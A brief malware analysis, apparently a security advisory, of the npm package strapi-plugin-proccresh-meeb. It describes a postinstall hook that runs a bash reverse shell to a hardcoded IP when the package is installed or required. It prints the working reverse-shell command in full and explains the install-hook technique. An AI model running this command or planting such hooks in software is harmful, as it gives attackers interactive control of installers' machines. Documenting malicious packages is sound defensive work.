strapi-plugin-proccresh-meeb ships a postinstall dropper that opens a bash reverse shell to the hardcoded IP 14.225.210.85 on TCP/443 at npm install time. package.json declares `"scripts": { "postinstall": "node postinstall.js" }` and `"main": "postinstall.js"`, so both `npm install` and any `require()` of the package unconditionally execute `postinstall.js`, which runs `bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1'`, connecting the installer's shell stdio to the attacker-controlled host. The package's own description self-identifies as `Reverse shell payload for Strapi`. Result is full interactive remote code execution on the installer's machine with no user interaction.
